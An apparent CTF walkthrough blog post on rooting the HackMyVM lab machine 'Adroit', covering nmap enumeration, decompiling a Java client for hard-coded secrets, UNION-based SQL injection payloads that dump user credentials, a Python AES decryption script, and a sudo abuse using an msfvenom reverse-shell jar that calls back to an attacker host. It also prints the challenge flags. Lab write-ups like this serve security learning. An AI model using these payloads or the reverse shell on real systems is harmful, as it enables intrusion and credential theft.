HackMyVM | Adroit

In this walkthrough, I demonstrate how I obtained complete ownership of Adroit from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Hard Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.95 scan initiated Tue Jan 27 17:02:25 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.39
Nmap scan report for 10.9.9.39
Host is up (0.00041s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.6.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 d2:32:82:0f:82:48:cd:c2:33:a2:a2:72:09:c5:28:91 (RSA)
|   256 4e:8a:9a:49:b9:23:c2:cd:ac:89:4f:44:b2:0b:0b:db (ECDSA)
|_  256 32:88:82:fc:84:79:98:1d:b2:27:96:26:96:5a:68:6b (ED25519)
3000/tcp  open  ppp?
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx  MySQL X protocol listener
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 27 17:02:38 2026 -- 1 IP address (1 host up) scanned in 12.74 seconds
ℹ️
Don't miss an opportunity to find some breadcrumbs in the initial nmap scan We can see the FTP server allows anonymous authentication, with a pub directory available. MySQL (or MariaDB) is open to the world on tcp/3306, but we'll need a credential for, most likely.
echo -e '10.9.9.39\t\tadroit.hmv' | sudo tee -a /etc/hosts

Add a hosts entry for convenience





Service Enumeration

TCP/21

ftp ftp://anonymous@adroit.hmv
ftp> prompt
ftp> mget *
ftp> quit

Recursively get all files without prompting yes/no

If I had to guess, "adroidclient.jar" connects to port 3000
"structure.PNG"



JAR File Analysis

JAR File Analysis | 0xBEN | Notes
JAR File Analysis sudo apt install -y jd-gui jadx jd-gui cloudhosting-0.0.1.jar Example: appl…
jd-gui ./adroitclient.jar

The credential to connect to the server on tcp/3000 is:

  • Username: zeus
  • Password: god.thunder.olympus
  • Line 57: If the user entered post as the request type
    • Line 60: Call the .setOption() method from the request object built from R.class line 38 and indicate the request type is post
    • Lines 61 – 65: Prompt the user for the phrase ID and phrase and encrypt them using the Sup3rS3cur3Dr0it secret
    • Lines 67 – 69: Create a new Idea object from the Idea.class and set the id and phrase properties with the user-supplied data
    • Line 70: Call the .setIdea() method from the request object built from R.class line 38, and use the user-supplied idea object
    • Line 73: os.writeObject(request); sends the user-supplied data over the wire to the server
    • Line 75: (R).is.readObject(); reads the serialized data from the server response and builds an object using R.class
    • Line 77: Print the server response to the console



Testing the Java Binary

echo -e '10.9.9.39\t\tadroit.local' | sudo tee -a /etc/hosts

Add the hostname for DNS resolution when running the client

💡
Doing some testing with various get and post requests, it looks like the phrase identifier needs to be an integer, even though it's identified as type string in the client side.

This is probably because the MySQL database has set that column to type of integer, so the developer should ensure all ends are in alignment.
Client -> Server request
Java tells the server what kind of data is coming -- "adroit/Idea" object with "option", "username", and "password" strings
Client -> Server request
Serialized object containing the encrypted data described before
Server -> Client response
Response from the server indicates we should be expecting an "option", "password", and "username" string from an "adroit/Idea" object
Testing a "get" operation



Threat Modeling

Based on what I've observed in the source code and over the wire, there are some key vulnerabilities that should be probed further:

  • Potentially untrusted de-serialization
    • The application serializes the user input, where it is presumably de-serialized and processed server side
    • We don't have access to the server source code, so we will have to do some blind testing to see if we can do any funny stuff with the serialized data
  • Potential SQL injection
    • The application — per the diagram — takes the user input and inserts it into the database
    • Again, we have to do some blind testing here, because we don't know the database name, the table name, nor the column names
    • We can assume there's some kind ID column and a Phrase column, but again, we're doing some blind testing
  • Hard-coded secret
    • If SQL injection can be abused, any encrypted data is easily decrypted
    • An attacker could decrypt data if packets were captured over the wire (not applicable in this case, but worth mentioning)





Exploit

SQL Injection Testing

ℹ️
I did try some basic de-serialization attacks using ysoserial.jar and a rudimentary Python script, but wasn't getting much, so figured SQL injection would be the easier of the two.

Initial Fuzzing

PayloadsAllTheThings/SQL Injection/MySQL Injection.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings
💡
Focusing on Numeric Testing, since the application is almost certainly going to be doing something like SELECT * FROM tablename WHERE id = 1;.
Store an entry with ID of "2" in the database
MySQL runs the arithmetic operation 1+1 evaluates to 2, thus entry 2 is returned
This causes MySQL to parse WHERE id = 1 OR true; so all records are returned
This almost certainly confirms that our data is being entered into the MySQL database without the use of prepared statements.



Enumerating Table Information

Number of Columns

1 OR true UNION SELECT NULL;--

Nothing...

1 OR true UNION SELECT NULL, NULL;--
Two columns in the current table

Return MySQL Version

1 OR true UNION SELECT NULL,@@version;--

Return Database Names

1 OR true UNION SELECT NULL,CONCAT(schema_name,0x7c) FROM information_schema.schemata;--
The adroit database is definitely what we're after here.

Note: Since this is a UNION SELECT, it joins the database names next to the records from the 1 OR true query. The 0x7c is hexadecimal notation representing the | character, which separates each database name.

Return Table Names

1 OR true UNION SELECT NULL,CONCAT(table_name,0x7c) FROM information_schema.tables WHERE table_schema='adroit';--
💡
You have to wrap the 'adroit' in quotes, since the comparison operation will be looking at a string.
The database contains an "ideas" and "users" table

List Columns in Users Table

COLUMN 1 COLUMN 2 COLUMN 3 COLUMN 4 COLUMN 5
ROW 1 DATA DATA DATA DATA DATA
ROW 2 DATA DATA DATA DATA DATA
ROW 3 DATA DATA DATA DATA DATA
ROW 4 DATA DATA DATA DATA DATA
An example of a table in a database with columns and rows
1 OR true UNION SELECT NULL,CONCAT(column_name,0x7C) FROM information_schema.columns WHERE table_name='users';--
We now know that the users table has the columns: id, password, and username. So now, if we target the password column, we can receive DATA from any rows where applicable.

Retrieve Column Data from Users Table

1 OR true UNION SELECT NULL,CONCAT(0x22,username,0x22,0x3a,0x22,password,0x22) FROM users;--
💡
0x22 is hexadecimal-encoded byte for the " character. 0x3a is hexadecimal-encoded byte of the : character. So, we're using CONCAT() to join... " + username + " + : + " password + " on any rows in the table.
ℹ️
Recall that the application sends the username and password as an encrypted string using the encryption mechanism found in the Cryptor.class and the secret, Sup3rS3cur3Dr0it. So, we should be able to easily reverse this.



Decrypting the Password

💡
I provided the Cryptor.class to Gemini and asked it to write a Python script to reverse the encryption, and made some tiny adjustments myself.

Note: Also recall the hint on the challenge page, "Hint: one 0 is not 0 is O"
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

class AdroitCryptor:
    def __init__(self, secret="Sup3rS3cur3Dr0it"):
        self.key = secret.encode('utf-8')

    def decrypt(self, b64_text):
        try:
            ciphertext = base64.b64decode(b64_text)
            
            # Setup AES-ECB
            cipher = Cipher(algorithms.AES(self.key), modes.ECB(), backend=default_backend())
            decryptor = cipher.decryptor()
            
            # Decrypt
            padded_data = decryptor.update(ciphertext) + decryptor.finalize()
            
            # Remove PKCS5 Padding (Standardized as PKCS7 in modern libs)
            unpadder = padding.PKCS7(128).unpadder()
            data = unpadder.update(padded_data) + unpadder.finalize()
            
            return data.decode('utf-8')
        except Exception as e:
            return f"Decryption Error: {str(e)}"

    def encrypt(self, plain_text):
        # Add PKCS5 Padding
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(plain_text.encode('utf-8')) + padder.finalize()
        
        # Setup AES-ECB
        cipher = Cipher(algorithms.AES(self.key), modes.ECB(), backend=default_backend())
        encryptor = cipher.encryptor()
        
        # Encrypt
        ciphertext = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(ciphertext).decode('utf-8')

cryptor = AdroitCryptor()

# l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=
# One of these 0s is not a zero, but an uppercase O
p_enc = [
"l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=",
"l4A+n+p+xSxDcYClOmgxKr015+OEC3aOfdrWafSqwpY=",
"l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY="
]

for enc in p_enc:
    print(f"Decrypted Password: {cryptor.decrypt(enc)}")



SSH Access

ssh writer@adroit.hmv





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux adroit 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Current User

uid=1000(writer) gid=1000(writer) groups=1000(writer),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Matching Defaults entries for writer on adroit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User writer may run the following commands on adroit:
    (root) /usr/bin/java -jar /tmp/testingmyapp.jar



Local Users

writer:x:1000:1000:writer,,,:/home/writer:/bin/bash

Local Groups

cdrom:x:24:writer
floppy:x:25:writer
audio:x:29:writer
dip:x:30:writer
video:x:44:writer
plugdev:x:46:writer
netdev:x:109:writer
bluetooth:x:111:writer
writer:x:1000:



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:f4:7f:48 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.39/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 4513sec preferred_lft 4513sec
    inet6 fe80::be24:11ff:fef4:7f48/64 scope link 
       valid_lft forever preferred_lft forever



Processes and Services

Interesting Processes

root       279  0.0  0.0   6644  2980 ?        Ss   Jan27   0:00 /bin/bash /opt/server/start.sh
root       293  0.0  3.1 3045020 127048 ?      Sl   Jan27   0:05  \_ java -jar adroitserver.jar



Privilege Escalation

Becoming Root

The current sudo configuration for writer is to allow password-less execution of /usr/bin/java -jar /tmp/testingmyapp.jar. However, /tmp/testingmyapp.jar does not exist on the system and is targeted in /tmp/, meaning we can easily put any .jar of our pleasing there.

msfvenom LHOST='10.6.6.6' LPORT=443 -p java/shell_reverse_tcp -f jar -o testingmyapp.jar

Create a .jar that will result in a reverse shell

scp ./testingmyapp.jar writer@adroit.hmv:/tmp

Copy the malicious .jar file to the target

sudo rlwrap nc -lnvp 443

Start a TCP socket to catch the reverse shell

sudo /usr/bin/java -jar /tmp/testingmyapp.jar
ℹ️
Just for fun, I had a look at /opt/server/adroitserver.jar in jd-gui to see if Java object deserialization was a valid avenue. It never would have worked, because the Java environment is so minimal that there are no gadgets that could have been chained to get command execution.



Flags

User

61de3a25161dcb2b88b5119457690c3c

Root

017a030885f25af277dd891d0f151845
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.